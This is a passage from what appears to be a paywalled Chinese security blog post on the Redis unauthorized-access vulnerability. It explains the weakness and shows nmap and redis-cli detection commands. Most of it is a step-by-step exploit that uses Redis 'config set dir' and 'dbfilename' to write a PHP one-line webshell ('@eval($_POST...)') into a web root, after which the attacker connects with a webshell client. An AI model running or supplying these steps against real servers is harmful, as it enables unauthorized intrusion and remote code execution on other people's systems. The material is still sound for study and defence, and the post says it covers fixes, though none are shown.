漏洞简述
Redis 是一个高性能的 Key - Value 数据库。Redis 的出现很大程度上弥补了 memcached 这类 Key/Value 存储的不足在部分场合可以对关系数据库起到很好的补充作用。Redis 默认情况下会绑定在 0.0.0.0:6379这样会将 Redis 服务暴露到公网上。在没有开启认证的情况下会导致任意用户在可以访问目标服务器的情况下未经授权就访问到 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法成功地在 Redis 服务器上写入公钥进而可以使用对应私钥直接登录目标服务器。
检测方法
-
先用 nmap 扫描查看端口开放情况发现开放的 6379 端口为 Redis 的默认端口
Nmap -A -p 6379 --script redis-info 192.168.10.153
-
Nmap 扫描后发现主机的 6379 端口对外开放可以通过 Redis 客户端进行连接测试是否存在未授权访问漏洞具体命令如下
./redis-cli -h 192.168.10.153
Info
-
批量检测脚本
https://github.com/code-scan/rescan
-
就可以看到 Redis 的版本和服务器上内核的版本信息也可以 del key 删除数据在网站写入木马写入 SSH 公钥或者在 crontab 里写定时任务反弹 shell 等。
漏洞利用
1、网站写马
利用条件:
-
目标存在web目录
-
已知web绝对路径
-
存在写入权限
-
适用范围:windows,linux版本。
-
① 先用客户端连接服务器的 redis 服务
redis-cli.exe -h 目标IP
-
② 连接后设置目录
config set dir /var/www/html //此路径是服务器端 Web 网站的目录
-
③ 设置要写入的文件名
config set dbfilename redis88.php //redis88.php是一句话文件名称
-
④ 设置要写入的内容
set webshell "<?php @eval($_POST['123']); ?>" //webshell是名称,可以任意修改
-
⑤ 保存
save
-
⑥ 保存后用菜刀连接此木马得到 webshell。

本文详细介绍了Redis数据库存在的安全风险,包括未授权访问、网站写马、SSH免密码登陆、利用计划任务反弹shell以及主从复制RCE等攻击方式。同时,提供了检测方法和修复建议,如修改配置文件、设置访问密码、限制网络访问等,强调了保护authorized_keys文件的重要性。
最低0.47元/天 解锁文章
2564

被折叠的 条评论
为什么被折叠?



